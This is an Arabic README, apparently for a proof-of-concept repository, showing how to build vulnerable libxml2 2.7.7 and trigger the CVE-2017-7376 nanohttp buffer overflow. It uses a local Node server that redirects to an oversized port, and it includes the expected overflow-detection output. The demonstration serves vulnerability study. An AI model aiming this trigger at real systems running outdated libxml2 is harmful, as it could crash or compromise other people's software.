
مثال لاستغلال ثغرة CVE-2017-7376
مثال ثغرة لـ CVE-2017-7376
قم بتنزيل هذا المستودع وإصدار ضعيف من libxml2، مثلاً v2.7.7:
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2
cd libxml2
لجعل نجاح الثغرة أكثر وضوحًا، أضف كودًا لاكتشاف تجاوز سعة المخزن المؤقت إلى libxml2. غير ضروري إذا كانت لديك وسائل أخرى للرؤية، مثل تعطل التطبيق.
git apply ../nanohttp.patch
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install
في حالة الخطأ التالي:
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'
استبدل في configure.in AM_C_PROTOTYPES بـ dnl AM_C_PROTOTYPES، مثلاً هكذا:
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i
ارجع للخلف
cd ..
تتطلب هذه الثغرة خادم ويب يستجيب بإعادة توجيه إلى عنوان URL جديد برقم منفذ أكبر من 5 أرقام وأقل من int32max (2147483648 = 2^32/2).
ابدأ الخادم (يتطلب Node JS وأن يكون المنفذ 127.0.0.1:8080 غير مستخدم):
node http.js &
اختبر خادم الويب؛ يجب أن يشتكي من رقم المنفذ غير الصحيح 2147426192:
wget localhost:8080
make
./run.sh
الإخراج المتوقع:
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml
يتطلب هذا المثال التوضيحي للثغرة أن يقوم البرنامج الرئيسي بتنفيذ xmlXIncludeProcess() للوصول إلى الكود المعيب في libxml2، وهو أمر غير محتمل الاستخدام في العديد من التطبيقات الفعلية. ولكن nanohttp.c يذكر في التعليق أنها تنفيذ minimalist لـ HTTP GET لجلب المجموعات الخارجية مما قد يوفر مسارًا آخر للاستغلال.